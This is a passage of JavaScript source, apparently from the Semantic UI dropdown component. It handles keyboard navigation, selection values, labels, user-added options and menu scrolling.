backspace'); $activeLabel = $label.last().addClass(className.active); module.remove.activeLabels($activeLabel); } } else { $activeLabel.removeClass(className.active); } } } }, keydown: function(event) { var pressedKey = event.which, keys = module.get.shortcutKeys(), isShortcutKey = module.is.inObject(pressedKey, keys) ; if(isShortcutKey) { var $currentlySelected = $item.not(selector.unselectable).filter('.' + className.selected).eq(0), $activeItem = $menu.children('.' + className.active).eq(0), $selectedItem = ($currentlySelected.length > 0) ? $currentlySelected : $activeItem, $visibleItems = ($selectedItem.length > 0) ? $selectedItem.siblings(':not(.' + className.filtered +')').andSelf() : $menu.children(':not(.' + className.filtered +')'), $subMenu = $selectedItem.children(selector.menu), $parentMenu = $selectedItem.closest(selector.menu), inVisibleMenu = ($parentMenu.hasClass(className.visible) || $parentMenu.hasClass(className.animating) || $parentMenu.parent(selector.menu).length > 0), hasSubMenu = ($subMenu.length> 0), hasSelectedItem = ($selectedItem.length > 0), selectedIsSelectable = ($selectedItem.not(selector.unselectable).length > 0), delimiterPressed = (pressedKey == keys.delimiter && settings.allowAdditions && module.is.multiple()), $nextItem, isSubMenuItem, newIndex ; // visible menu keyboard shortcuts if( module.is.visible() ) { // enter (select or open sub-menu) if(pressedKey == keys.enter || delimiterPressed) { if(pressedKey == keys.enter && hasSelectedItem && hasSubMenu && !settings.allowCategorySelection) { module.verbose('Pressed enter on unselectable category, opening sub menu'); pressedKey = keys.rightArrow; } else if(selectedIsSelectable) { module.verbose('Selecting item from keyboard shortcut', $selectedItem); module.event.item.click.call($selectedItem, event); if(module.is.searchSelection()) { module.remove.searchTerm(); } } event.preventDefault(); } // left arrow (hide sub-menu) if(pressedKey == keys.leftArrow) { isSubMenuItem = ($parentMenu[0] !== $menu[0]); if(isSubMenuItem) { module.verbose('Left key pressed, closing sub-menu'); module.animate.hide(false, $parentMenu); $selectedItem .removeClass(className.selected) ; $parentMenu .closest(selector.item) .addClass(className.selected) ; event.preventDefault(); } } // right arrow (show sub-menu) if(pressedKey == keys.rightArrow) { if(hasSubMenu) { module.verbose('Right key pressed, opening sub-menu'); module.animate.show(false, $subMenu); $selectedItem .removeClass(className.selected) ; $subMenu .find(selector.item).eq(0) .addClass(className.selected) ; event.preventDefault(); } } // up arrow (traverse menu up) if(pressedKey == keys.upArrow) { $nextItem = (hasSelectedItem && inVisibleMenu) ? $selectedItem.prevAll(selector.item + ':not(' + selector.unselectable + ')').eq(0) : $item.eq(0) ; if($visibleItems.index( $nextItem ) < 0) { module.verbose('Up key pressed but reached top of current menu'); event.preventDefault(); return; } else { module.verbose('Up key pressed, changing active item'); $selectedItem .removeClass(className.selected) ; $nextItem .addClass(className.selected) ; module.set.scrollPosition($nextItem); } event.preventDefault(); } // down arrow (traverse menu down) if(pressedKey == keys.downArrow) { $nextItem = (hasSelectedItem && inVisibleMenu) ? $nextItem = $selectedItem.nextAll(selector.item + ':not(' + selector.unselectable + ')').eq(0) : $item.eq(0) ; if($nextItem.length === 0) { module.verbose('Down key pressed but reached bottom of current menu'); event.preventDefault(); return; } else { module.verbose('Down key pressed, changing active item'); $item .removeClass(className.selected) ; $nextItem .addClass(className.selected) ; module.set.scrollPosition($nextItem); } event.preventDefault(); } // page down (show next page) if(pressedKey == keys.pageUp) { module.scrollPage('up'); event.preventDefault(); } if(pressedKey == keys.pageDown) { module.scrollPage('down'); event.preventDefault(); } // escape (close menu) if(pressedKey == keys.escape) { module.verbose('Escape key pressed, closing dropdown'); module.hide(); } } else { // delimiter key if(delimiterPressed) { event.preventDefault(); } // down arrow (open menu) if(pressedKey == keys.downArrow) { module.verbose('Down key pressed, showing dropdown'); module.show(); event.preventDefault(); } } } else { if( module.is.selection() && !module.is.search() ) { module.set.selectedLetter( String.fromCharCode(pressedKey) ); } } } }, determine: { selectAction: function(text, value) { module.verbose('Determining action', settings.action); if( $.isFunction( module.action[settings.action] ) ) { module.verbose('Triggering preset action', settings.action, text, value); module.action[ settings.action ].call(this, text, value); } else if( $.isFunction(settings.action) ) { module.verbose('Triggering user action', settings.action, text, value); settings.action.call(this, text, value); } else { module.error(error.action, settings.action); } }, eventInModule: function(event, callback) { var $target = $(event.target), inDocument = ($target.closest(document.documentElement).length > 0), inModule = ($target.closest($module).length > 0) ; callback = $.isFunction(callback) ? callback : function(){} ; if(inDocument && !inModule) { module.verbose('Triggering event', callback); callback(); return true; } else { module.verbose('Event occurred in dropdown, canceling callback'); return false; } }, eventOnElement: function(event, callback) { var $target = $(event.target), $label = $target.closest(selector.siblingLabel), notOnLabel = ($module.find($label).length === 0), notInMenu = ($target.closest($menu).length === 0) ; callback = $.isFunction(callback) ? callback : function(){} ; if(notOnLabel && notInMenu) { module.verbose('Triggering event', callback); callback(); return true; } else { module.verbose('Event occurred in dropdown menu, canceling callback'); return false; } } }, action: { nothing: function() {}, activate: function(text, value) { value = (value !== undefined) ? value : text ; if( module.can.activate( $(this) ) ) { module.set.selected(value, $(this)); if(module.is.multiple() && !module.is.allFiltered()) { return; } else { module.hideAndClear(); } } }, select: function(text, value) { // mimics action.activate but does not select text module.action.activate.call(this); }, combo: function(text, value) { value = (value !== undefined) ? value : text ; module.set.selected(value, $(this)); module.hideAndClear(); }, hide: function(text, value) { module.set.value(value); module.hideAndClear(); } }, get: { id: function() { return id; }, defaultText: function() { return $module.data(metadata.defaultText); }, defaultValue: function() { return $module.data(metadata.defaultValue); }, placeholderText: function() { return $module.data(metadata.placeholderText) || ''; }, text: function() { return $text.text(); }, query: function() { return $.trim($search.val()); }, searchWidth: function(characterCount) { return (characterCount * settings.glyphWidth) + 'em'; }, selectionCount: function() { var values = module.get.values(), count ; count = ( module.is.multiple() ) ? $.isArray(values) ? values.length : 0 : (module.get.value() !== '') ? 1 : 0 ; return count; }, transition: function($subMenu) { return (settings.transition == 'auto') ? module.is.upward($subMenu) ? 'slide up' : 'slide down' : settings.transition ; }, userValues: function() { var values = module.get.values() ; if(!values) { return false; } values = $.isArray(values) ? values : [values] ; return $.grep(values, function(value) { return (module.get.item(value) === false); }); }, uniqueArray: function(array) { return $.grep(array, function (value, index) { return $.inArray(value, array) === index; }); }, caretPosition: function() { var input = $search.get(0), range, rangeLength ; if('selectionStart' in input) { return input.selectionStart; } else if (document.selection) { input.focus(); range = document.selection.createRange(); rangeLength = range.text.length; range.moveStart('character', -input.value.length); return range.text.length - rangeLength; } }, shortcutKeys: function() { return { backspace : 8, delimiter : 188, // comma deleteKey : 46, enter : 13, escape : 27, pageUp : 33, pageDown : 34, leftArrow : 37, upArrow : 38, rightArrow : 39, downArrow : 40 }; }, value: function() { var value = ($input.length > 0) ? $input.val() : $module.data(metadata.value) ; // prevents placeholder element from being selected when multiple if($.isArray(value) && value.length === 1 && value[0] === '') { return ''; } return value; }, values: function() { var value = module.get.value() ; if(value === '') { return ''; } return ( !module.has.selectInput() && module.is.multiple() ) ? (typeof value == 'string') // delimited string ? value.split(settings.delimiter) : '' : value ; }, remoteValues: function() { var values = module.get.values(), remoteValues = false ; if(values) { if(typeof values == 'string') { values = [values]; } remoteValues = {}; $.each(values, function(index, value) { var name = module.read.remoteData(value) ; module.verbose('Restoring value from session data', name, value); remoteValues[value] = (name) ? name : value ; }); } return remoteValues; }, choiceText: function($choice, preserveHTML) { preserveHTML = (preserveHTML !== undefined) ? preserveHTML : settings.preserveHTML ; if($choice) { if($choice.find(selector.menu).length > 0) { module.verbose('Retreiving text of element with sub-menu'); $choice = $choice.clone(); $choice.find(selector.menu).remove(); $choice.find(selector.menuIcon).remove(); } return ($choice.data(metadata.text) !== undefined) ? $choice.data(metadata.text) : (preserveHTML) ? $.trim($choice.html()) : $.trim($choice.text()) ; } }, choiceValue: function($choice, choiceText) { choiceText = choiceText || module.get.choiceText($choice); if(!$choice) { return false; } return ($choice.data(metadata.value) !== undefined) ? String( $choice.data(metadata.value) ) : (typeof choiceText === 'string') ? $.trim(choiceText.toLowerCase()) : String(choiceText) ; }, inputEvent: function() { var input = $search[0] ; if(input) { return (input.oninput !== undefined) ? 'input' : (input.onpropertychange !== undefined) ? 'propertychange' : 'keyup' ; } return false; }, selectValues: function() { var select = {} ; select.values = []; $module .find('option') .each(function() { var $option = $(this), name = $option.html(), disabled = $option.attr('disabled'), value = ( $option.attr('value') !== undefined ) ? $option.attr('value') : name ; if(settings.placeholder === 'auto' && value === '') { select.placeholder = name; } else { select.values.push({ name : name, value : value, disabled : disabled }); } }) ; if(settings.placeholder && settings.placeholder !== 'auto') { module.debug('Setting placeholder value to', settings.placeholder); select.placeholder = settings.placeholder; } if(settings.sortSelect) { select.values.sort(function(a, b) { return (a.name > b.name) ? 1 : -1 ; }); module.debug('Retrieved and sorted values from select', select); } else { module.debug('Retreived values from select', select); } return select; }, activeItem: function() { return $item.filter('.' + className.active); }, selectedItem: function() { var $selectedItem = $item.not(selector.unselectable).filter('.' + className.selected) ; return ($selectedItem.length > 0) ? $selectedItem : $item.eq(0) ; }, itemWithAdditions: function(value) { var $items = module.get.item(value), $userItems = module.create.userChoice(value), hasUserItems = ($userItems && $userItems.length > 0) ; if(hasUserItems) { $items = ($items.length > 0) ? $items.add($userItems) : $userItems ; } return $items; }, item: function(value, strict) { var $selectedItem = false, shouldSearch, isMultiple ; value = (value !== undefined) ? value : ( module.get.values() !== undefined) ? module.get.values() : module.get.text() ; shouldSearch = (isMultiple) ? (value.length > 0) : (value !== undefined && value !== null) ; isMultiple = (module.is.multiple() && $.isArray(value)); strict = (value === '' || value === 0) ? true : strict || false ; if(shouldSearch) { $item .each(function() { var $choice = $(this), optionText = module.get.choiceText($choice), optionValue = module.get.choiceValue($choice, optionText) ; // safe early exit if(optionValue === null || optionValue === undefined) { return; } if(isMultiple) { if($.inArray( String(optionValue), value) !== -1 || $.inArray(optionText, value) !== -1) { $selectedItem = ($selectedItem) ? $selectedItem.add($choice) : $choice ; } } else if(strict) { module.verbose('Ambiguous dropdown value using strict type check', $choice, value); if( optionValue === value || optionText === value) { $selectedItem = $choice; return true; } } else { if( String(optionValue) == String(value) || optionText == value) { module.verbose('Found select item by value', optionValue, value); $selectedItem = $choice; return true; } } }) ; } return $selectedItem; } }, check: { maxSelections: function(selectionCount) { if(settings.maxSelections) { selectionCount = (selectionCount !== undefined) ? selectionCount : module.get.selectionCount() ; if(selectionCount >= settings.maxSelections) { module.debug('Maximum selection count reached'); if(settings.useLabels) { $item.addClass(className.filtered); module.add.message(message.maxSelections); } return true; } else { module.verbose('No longer at maximum selection count'); module.remove.message(); module.remove.filteredItem(); if(module.is.searchSelection()) { module.filterItems(); } return false; } } return true; } }, restore: { defaults: function() { module.clear(); module.restore.defaultText(); module.restore.defaultValue(); }, defaultText: function() { var defaultText = module.get.defaultText(), placeholderText = module.get.placeholderText ; if(defaultText === placeholderText) { module.debug('Restoring default placeholder text', defaultText); module.set.placeholderText(defaultText); } else { module.debug('Restoring default text', defaultText); module.set.text(defaultText); } }, defaultValue: function() { var defaultValue = module.get.defaultValue() ; if(defaultValue !== undefined) { module.debug('Restoring default value', defaultValue); if(defaultValue !== '') { module.set.value(defaultValue); module.set.selected(); } else { module.remove.activeItem(); module.remove.selectedItem(); } } }, labels: function() { if(settings.allowAdditions) { if(!settings.useLabels) { module.error(error.labels); settings.useLabels = true; } module.debug('Restoring selected values'); module.create.userLabels(); } module.check.maxSelections(); }, selected: function() { module.restore.values(); if(module.is.multiple()) { module.debug('Restoring previously selected values and labels'); module.restore.labels(); } else { module.debug('Restoring previously selected values'); } }, values: function() { // prevents callbacks from occuring on initial load module.set.initialLoad(); if(settings.apiSettings) { if(settings.saveRemoteData) { module.restore.remoteValues(); } else { module.clearValue(); } } else { module.set.selected(); } module.remove.initialLoad(); }, remoteValues: function() { var values = module.get.remoteValues() ; module.debug('Recreating selected from session data', values); if(values) { if( module.is.single() ) { $.each(values, function(value, name) { module.set.text(name); }); } else { $.each(values, function(value, name) { module.add.label(value, name); }); } } } }, read: { remoteData: function(value) { var name ; if(window.Storage === undefined) { module.error(error.noStorage); return; } name = sessionStorage.getItem(value); return (name !== undefined) ? name : false ; } }, save: { defaults: function() { module.save.defaultText(); module.save.placeholderText(); module.save.defaultValue(); }, defaultValue: function() { var value = module.get.value() ; module.verbose('Saving default value as', value); $module.data(metadata.defaultValue, value); }, defaultText: function() { var text = module.get.text() ; module.verbose('Saving default text as', text); $module.data(metadata.defaultText, text); }, placeholderText: function() { var text ; if(settings.placeholder !== false && $text.hasClass(className.placeholder)) { text = module.get.text(); module.verbose('Saving placeholder text as', text); $module.data(metadata.placeholderText, text); } }, remoteData: function(name, value) { if(window.Storage === undefined) { module.error(error.noStorage); return; } module.verbose('Saving remote data to session storage', value, name); sessionStorage.setItem(value, name); } }, clear: function() { if(module.is.multiple()) { module.remove.labels(); } else { module.remove.activeItem(); module.remove.selectedItem(); } module.set.placeholderText(); module.clearValue(); }, clearValue: function() { module.set.value(''); }, scrollPage: function(direction, $selectedItem) { var $currentItem = $selectedItem || module.get.selectedItem(), $menu = $currentItem.closest(selector.menu), menuHeight = $menu.outerHeight(), currentScroll = $menu.scrollTop(), itemHeight = $item.eq(0).outerHeight(), itemsPerPage = Math.floor(menuHeight / itemHeight), maxScroll = $menu.prop('scrollHeight'), newScroll = (direction == 'up') ? currentScroll - (itemHeight * itemsPerPage) : currentScroll + (itemHeight * itemsPerPage), $selectableItem = $item.not(selector.unselectable), isWithinRange, $nextSelectedItem, elementIndex ; elementIndex = (direction == 'up') ? $selectableItem.index($currentItem) - itemsPerPage : $selectableItem.index($currentItem) + itemsPerPage ; isWithinRange = (direction == 'up') ? (elementIndex >= 0) : (elementIndex < $selectableItem.length) ; $nextSelectedItem = (isWithinRange) ? $selectableItem.eq(elementIndex) : (direction == 'up') ? $selectableItem.first() : $selectableItem.last() ; if($nextSelectedItem.length > 0) { module.debug('Scrolling page', direction, $nextSelectedItem); $currentItem .removeClass(className.selected) ; $nextSelectedItem .addClass(className.selected) ; $menu .scrollTop(newScroll) ; } }, set: { filtered: function() { var isMultiple = module.is.multiple(), isSearch = module.is.searchSelection(), isSearchMultiple = (isMultiple && isSearch), searchValue = (isSearch) ? module.get.query() : '', hasSearchValue = (typeof searchValue === 'string' && searchValue.length > 0), searchWidth = module.get.searchWidth(searchValue.length), valueIsSet = searchValue !== '' ; if(isMultiple && hasSearchValue) { module.verbose('Adjusting input width', searchWidth, settings.glyphWidth); $search.css('width', searchWidth); } if(hasSearchValue || (isSearchMultiple && valueIsSet)) { module.verbose('Hiding placeholder text'); $text.addClass(className.filtered); } else if(!isMultiple || (isSearchMultiple && !valueIsSet)) { module.verbose('Showing placeholder text'); $text.removeClass(className.filtered); } }, loading: function() { $module.addClass(className.loading); }, placeholderText: function(text) { text = text || module.get.placeholderText(); module.debug('Setting placeholder text', text); module.set.text(text); $text.addClass(className.placeholder); }, tabbable: function() { if( module.has.search() ) { module.debug('Added tabindex to searchable dropdown'); $search .val('') .attr('tabindex', 0) ; $menu .attr('tabindex', -1) ; } else { module.debug('Added tabindex to dropdown'); if(!$module.attr('tabindex') ) { $module .attr('tabindex', 0) ; $menu .attr('tabindex', -1) ; } } }, initialLoad: function() { module.verbose('Setting initial load'); initialLoad = true; }, activeItem: function($item) { if( settings.allowAdditions && $item.filter(selector.addition).length > 0 ) { $item.addClass(className.filtered); } else { $item.addClass(className.active); } }, scrollPosition: function($item, forceScroll) { var edgeTolerance = 5, $menu, hasActive, offset, itemHeight, itemOffset, menuOffset, menuScroll, menuHeight, abovePage, belowPage ; $item = $item || module.get.selectedItem(); $menu = $item.closest(selector.menu); hasActive = ($item && $item.length > 0); forceScroll = (forceScroll !== undefined) ? forceScroll : false ; if($item && $menu.length > 0 && hasActive) { itemOffset = $item.position().top; $menu.addClass(className.loading); menuScroll = $menu.scrollTop(); menuOffset = $menu.offset().top; itemOffset = $item.offset().top; offset = menuScroll - menuOffset + itemOffset; if(!forceScroll) { menuHeight = $menu.height(); belowPage = menuScroll + menuHeight < (offset + edgeTolerance); abovePage = ((offset - edgeTolerance) < menuScroll); } module.debug('Scrolling to active item', offset); if(forceScroll || abovePage || belowPage) { $menu.scrollTop(offset); } $menu.removeClass(className.loading); } }, text: function(text) { if(settings.action !== 'select') { if(settings.action == 'combo') { module.debug('Changing combo button text', text, $combo); if(settings.preserveHTML) { $combo.html(text); } else { $combo.text(text); } } else { if(text !== module.get.placeholderText()) { $text.removeClass(className.placeholder); } module.debug('Changing text', text, $text); $text .removeClass(className.filtered) ; if(settings.preserveHTML) { $text.html(text); } else { $text.text(text); } } } }, selectedLetter: function(letter) { var $selectedItem = $item.filter('.' + className.selected), alreadySelectedLetter = $selectedItem.length > 0 && module.has.firstLetter($selectedItem, letter), $nextValue = false, $nextItem ; // check next of same letter if(alreadySelectedLetter) { $nextItem = $selectedItem.nextAll($item).eq(0); if( module.has.firstLetter($nextItem, letter) ) { $nextValue = $nextItem; } } // check all values if(!$nextValue) { $item .each(function(){ if(module.has.firstLetter($(this), letter)) { $nextValue = $(this); return false; } }) ; } // set next value if($nextValue) { module.verbose('Scrolling to next value with letter', letter); module.set.scrollPosition($nextValue); $selectedItem.removeClass(className.selected); $nextValue.addClass(className.selected); } }, direction: function($menu) { if(settings.direction == 'auto') { if(module.is.onScreen($menu)) { module.remove.upward($menu); } else { module.set.upward($menu); } } else if(settings.direction == 'upward') { module.set.upward($menu); } }, upward: function($menu) { var $element = $menu || $module; $element.addClass(className.upward); }, value: function(value, text, $selected) { var hasInput = ($input.length > 0), isAddition = !module.has.value(value), currentValue = module.get.values(), stringValue = (value !== undefined) ? String(value) : value, newValue ; if(hasInput) { if(stringValue == currentValue) { module.verbose('Skipping value update already same value', value, currentValue); if(!module.is.initialLoad()) { return; } } if( module.is.single() && module.has.selectInput() && module.can.extendSelect() ) { module.debug('Adding user option', value); module.add.optionValue(value); } module.debug('Updating input value', value, currentValue); internalChange = true; $input .val(value) ; if(settings.fireOnInit === false && module.is.initialLoad()) { module.debug('Input native change event ignored on initial load'); } else { $input.trigger('change'); } internalChange = false; } else { module.verbose('Storing value in metadata', value, $input); if(value !== currentValue) { $module.data(metadata.value, stringValue); } } if(settings.fireOnInit === false && module.is.initialLoad()) { module.verbose('No callback on initial load', settings.onChange); } else { settings.onChange.call(element, value, text, $selected); } }, active: function() { $module .addClass(className.active) ; }, multiple: function() { $module.addClass(className.multiple); }, visible: function() { $module.addClass(className.visible); }, exactly: function(value, $selectedItem) { module.debug('Setting selected to exact values'); module.clear(); module.set.selected(value, $selectedItem); }, selected: function(value, $selectedItem) { var isMultiple = module.is.multiple(), $userSelectedItem ; $selectedItem = (settings.allowAdditions) ? $selectedItem || module.get.itemWithAdditions(value) : $selectedItem || module.get.item(value) ; if(!$selectedItem) { return; } module.debug('Setting selected menu item to', $selectedItem); if(module.is.single()) { module.remove.activeItem(); module.remove.selectedItem(); } else if(settings.useLabels) { module.remove.selectedItem(); } // select each item $selectedItem .each(function() { var $selected = $(this), selectedText = module.get.choiceText($selected), selectedValue = module.get.choiceValue($selected, selectedText), isFiltered = $selected.hasClass(className.filtered), isActive = $selected.hasClass(className.active), isUserValue = $selected.hasClass(className.addition), shouldAnimate = (isMultiple && $selectedItem.length == 1) ; if(isMultiple) { if(!isActive || isUserValue) { if(settings.apiSettings && settings.saveRemoteData) { module.save.remoteData(selectedText, selectedValue); } if(settings.useLabels) { module.add.value(selectedValue, selectedText, $selected); module.add.label(selectedValue, selectedText, shouldAnimate); module.set.activeItem($selected); module.filterActive(); module.select.nextAvailable($selectedItem); } else { module.add.value(selectedValue, selectedText, $selected); module.set.text(module.add.variables(message.count)); module.set.activeItem($selected); } } else if(!isFiltered) { module.debug('Selected active value, removing label'); module.remove.selected(selectedValue); } } else { if(settings.apiSettings && settings.saveRemoteData) { module.save.remoteData(selectedText, selectedValue); } module.set.text(selectedText); module.set.value(selectedValue, selectedText, $selected); $selected .addClass(className.active) .addClass(className.selected) ; } }) ; } }, add: { label: function(value, text, shouldAnimate) { var $next = module.is.searchSelection() ? $search : $text, $label ; $label = $('<a />') .addClass(className.label) .attr('data-value', value) .html(templates.label(value, text)) ; $label = settings.onLabelCreate.call($label, value, text); if(module.has.label(value)) { module.debug('Label already exists, skipping', value); return; } if(settings.label.variation) { $label.addClass(settings.label.variation); } if(shouldAnimate === true) { module.debug('Animating in label', $label); $label .addClass(className.hidden) .insertBefore($next) .transition(settings.label.transition, settings.label.duration) ; } else { module.debug('Adding selection label', $label); $label .insertBefore($next) ; } }, message: function(message) { var $message = $menu.children(selector.message), html = settings.templates.message(module.add.variables(message)) ; if($message.length > 0) { $message .html(html) ; } else { $message = $('<div/>') .html(html) .addClass(className.message) .appendTo($menu) ; } }, optionValue: function(value) { var $option = $input.find('option[value="' + value + '"]'), hasOption = ($option.length > 0) ; if(hasOption) { return; } // temporarily disconnect observer if(selectObserver) { selectObserver.disconnect(); module.verbose('Temporarily disconnecting mutation observer', value); } if( module.is.single() ) { module.verbose('Removing previous user addition'); $input.find('option.' + className.addition).remove(); } $('<option/>') .prop('value', value) .addClass(className.addition) .html(value) .appendTo($input) ; module.verbose('Adding user addition as an <option>', value); if(selectObserver) { selectObserver.observe($input[0], { childList : true, subtree : true }); } }, userSuggestion: function(value) { var $addition = $menu.children(selector.addition), $existingItem = module.get.item(value), alreadyHasValue = $existingItem && $existingItem.not(selector.addition).length, hasUserSuggestion = $addition.length > 0, html ; if(settings.useLabels && module.has.maxSelections()) { return; } if(value === '' || alreadyHasValue) { $addition.remove(); return; } $item .removeClass(className.selected) ; if(hasUserSuggestion) { html = settings.templates.addition( module.add.variables(message.addResult, value) ); $addition .html(html) .attr('data-' + metadata.value, value) .attr('data-' + metadata.text, value) .removeClass(className.filtered) .addClass(className.selected) ; module.verbose('Replacing user suggestion with new value', $addition); } else { $addition = module.create.userChoice(value); $addition .prependTo($menu) .addClass(className.selected) ; module.verbose('Adding item choice to menu corresponding with user choice addition', $addition); } }, variables: function(message, term) { var hasCount = (message.search('{count}') !== -1), hasMaxCount = (message.search('{maxCount}') !== -1), hasTerm = (message.search('{term}') !== -1), values, count, query ; module.verbose('Adding templated variables to message', message); if(hasCount) { count = module.get.selectionCount(); message = message.replace('{count}', count); } if(hasMaxCount) { count = module.get.selectionCount(); message = message.replace('{maxCount}', settings.maxSelections); } if(hasTerm) { query = term || module.get.query(); message = message.replace('{term}', query); } return message; }, value: function(addedValue, addedText, $selectedItem) { var currentValue = module.get.values(), newValue ; if(addedValue === '') { module.debug('Cannot select blank values from multiselect'); return; } // extend current array if($.isArray(currentValue)) { newValue = currentValue.concat([addedValue]); newValue = module.get.uniqueArray(newValue); } else { newValue = [addedValue]; } // add values if( module.has.selectInput() ) { if(module.can.extendSelect()) { module.debug('Adding value to select', addedValue, newValue, $input); module.add.optionValue(addedValue); } } else { newValue = newValue.join(settings.delimiter); module.debug('Setting hidden input to delimited value', newValue, $input); } if(settings.fireOnInit === false && module.is.initialLoad()) { module.verbose('Skipping onadd callback on initial load', settings.onAdd); } else { settings.onAdd.call(element, addedValue, addedText, $selectedItem); } module.set.value(newValue, addedValue, addedText, $selectedItem); module.check.maxSelections(); } }, remove: { active: function() { $module.removeClass(className.active); }, activeLabel: function() { $module.find(selector.label).removeClass(className.active); }, loading: function() { $module.removeClass(className.loading); }, initialLoad: function() { initialLoad = false; }, upward: function($menu) { var $element = $menu || $module; $element.removeClass(className.upward); }, visible: function() { $module.removeClass(className.visible); }, activeItem: function() { $item.removeClass(className.active); }, filteredItem: function() { if(settings.useLabels && module.has.maxSelections() ) { return; } if(settings.useLabels && module.is.multiple()) { $item.not('.' + className.active).removeClass(className.filtered); } else { $item.removeClass(className.filtered); } }, optionValue: function(value) { var $option = $input.find('option[value="' + value + '"]'), hasOption = ($option.length > 0) ; if(!hasOption || !$option.hasClass(className.addition)) { return; } // temporarily disconnect observer if(selectObserver) { selectObserver.disconnect(); module.verbose('Temporarily disconnecting mutation observer', value); } $option.remove(); module.verbose('Removing user addition as an <option>', value); if(selectObserver) { selectObserver.observe($input[0], { childList : true, subtree : true }); } }, message: function() { $menu.children(selector.message).remove(); }, searchTerm: function() { module.verbose('Cleared search term'); $search.val(''); module.set.filtered(); }, selected: function(value, $selectedItem) { $selectedItem = (settings.allowAdditions) ? $selectedItem || module.get.itemWithAdditions(value) : $selectedItem || module.get.item(value) ; if(!$selectedItem) { return false; } $selectedItem .each(function() { var $selected = $(this), selectedText = module.get.choiceText($selected), selectedValue = module.get.choiceValue($selected, selectedText) ; if(module.is.multiple()) { if(settings.useLabels) { module.remove.value(selectedValue, selectedText, $selected); module.remove.label(selectedValue); } else { module.remove.value(selectedValue, selectedText, $selected); if(module.get.selectionCount() === 0) { module.set.placeholderText(); } else { module.set.text(module.add.variables(message.count)); } } } else { module.remove.value(selectedValue, selectedText, $selected); } $selected .removeClass(className.filtered) .removeClass(className.active) ; if(settings.useLabels) { $selected.removeClass(className.selected); } }) ; }, selectedItem: function() { $item.removeClass(className.selected); }, value: function(removedValue, removedText, $removedItem) { var values = module.get.values(), newValue ; if( module.has.selectInput() ) { module.verbose('Input is <select> removing selected option', removedValue); newValue = module.remove.arrayValue(removedValue, values); module.remove.optionValue(removedValue); } else { module.verbose('Removing from delimited values', removedValue); newValue = module.remove.arrayValue(removedValue, values); newValue = newValue.join(settings.delimiter); } if(settings.fireOnInit === false && module.is.initialLoad()) { module.verbose('No callback on initial load', settings.onRemove); } else { settings.onRemove.call(element, removedValue, removedText, $removedItem); } module.set.value(newValue, removedText, $removedItem); module.check.maxSelections(); }, arrayValue: function(removedValue, values) { if( !$.isArray(values) ) { values = [values]; } values = $.grep(values, function(value){ return (removedValue != value); }); module.verbose('Removed value from delimited string', removedValue, values); return values; }, label: function(value, shouldAnimate) { var $labels = $module.find(selector.label), $removedLabel = $labels.filter('[data-value="' + value +'"]') ; module.verbose('Removing label', $removedLabel); $removedLabel.remove(); }, activeLabels: function($activeLabels) { $activeLabels = $activeLabels || $module.find(selector.label).filter('.' + className.active); module.verbose('Removing active label selections', $activeLabels); module.remove.labels($activeLabels); }, labels: function($labels) { $labels = $labels || $module.find(selector.label); module.verbose('Removing labels', $labels); $labels .each(function(){ var value = $(this).data(metadata.value), stringValue = (value !== undefined) ? String(value) : value, isUserValue = module.is.userValue(stringValue) ; if(isUserValue) { module.remove.value(stringValue); module.remove.label(stringValue); } else { // selected will also remove label module.remove.selected(stringValue); } }) ; }, tabbable: function() { if( module.has.search() ) { module.debug('Searchable dropdown initialized'); $search .attr('tabindex', '-1') ; $menu .attr('tabindex', '-1') ; } else { module.debug('Simple selection dropdown initialized'); $module .attr('tabindex', '-1') ; $menu .attr('tabindex', '-1') ; } } }, has: { search: function() { return ($search.length > 0); }, selectInput: function() { return ( $input.is('select') ); }, firstLetter: function($item, letter) { var text, firstLetter ; if(!$item || $item.length === 0 || typeof letter !== 'string') { return false; } text = module.get.choiceText($item, false); letter = letter.toLowerCase(); firstLetter = String(text).charAt(0).toLowerCase(); return (letter == firstLetter); }, input: function() { return ($input.length > 0); }, items: function() { return ($item.length > 0); }, menu: function() { return ($menu.length > 0); }, message: function() { return ($menu.children(selector.message).length !== 0); }, label: function(value) { var $labels = $module.find(selector.label) ; return ($labels.filter('[data-value="' + value +'"]').length > 0); }, maxSelections: function() { return (settings.maxSelections && module.get.selectionCount() >= settings.maxSelections); }, allResultsFiltered: function() { return ($item.filter(selector.unselectable).length === $item.length); }, query: function() { return (module.get.query() !== ''); }, value: function(value) { var values = module.get.values(), hasValue = $.isArray(values) ? values && ($.inArray(value, values) !== -1) : (values == value) ; return (hasValue) ? true : false ; } }, is: { active: function() { return $module.hasClass(className.active); }, alreadySetup: function() { return ($module.is('select') && $module.parent(selector.dropdown).length > 0 && $module.prev().length === 0); }, animating: function($subMenu) { return ($subMenu) ? $subMenu.transition && $subMenu.transition('is animating') : $menu.transition && $menu.transition('is animating') ; }, disabled: function() { return $module.hasClass(className.disabled); }, focused: function() { return (document.activeElement === $module[0]); }, focusedOnSearch: function() { return (document.activeElement === $search[0]); }, allFiltered: function() { return( (module.is.multiple() || module.has.search()) && !module.has.message() && module.has.allResultsFiltered() ); }, hidden: function($subMenu) { return !module.is.visible($subMenu); }, initialLoad: function() { return initialLoad; }, onScreen: function($subMenu) { var $currentMenu = $subMenu || $menu, canOpenDownward = true, onScreen = {}, calculations ; $currentMenu.addClass(className.loading); calculations = { context: { scrollTop : $context.scrollTop(), height : $context.outerHeight() }, menu : { offset: $currentMenu.offset(), height: $currentMenu.outerHeight() } }; onScreen = { above : (calculations.context.scrollTop) <= calculations.menu.offset.top - calculations.menu.height, below : (calculations.context.scrollTop + calculations.context.height) >= calculations.menu.offset.top + calculations.menu.height }; if(onScreen.below) { module.verbose('Dropdown can fit in context downward', onScreen); canOpenDownward = true; } else if(!onScreen.below && !onScreen.above) { module.verbose('Dropdown cannot fit in either direction, favoring downward', onScreen); canOpenDownward = true; } else { module.verbose('Dropdown cannot fit below, opening upward', onScreen); canOpenDownward = false; } $currentMenu.removeClass(className.loading); return canOpenDownward; }, inObject: function(needle, object) { var found = false ; $.each(object, function(index, property) { if(property == needle) { found = true; return true; } }); return found; }, multiple: function() { return $module.hasClass(className.multiple); }, single: function() { return !module.is.multiple(); }, selectMutation: function(mutations) { var selectChanged = false ; $.each(mutations, function(index, mutation) { if(mutation.target && $(mutation.target).is('select')) { selectChanged = true; return true; } }); return selectChanged; }, search: function() { return $module.hasClass(className.search); }, searchSelection: function() { return ( module.has.search() && $search.parent(selector.dropdown).length === 1 ); }, selection: function() { return $module.hasClass(className.selection); }, userValue: function(value) { return ($.inArray(value, module.get.userValues()) !== -1); }, upward: function($menu) { var $element = $menu || $module; return $element.hasClass(className.upward); }, visible: function($subMenu) { return ($subMenu) ? $subMenu.hasClass(className.visible) 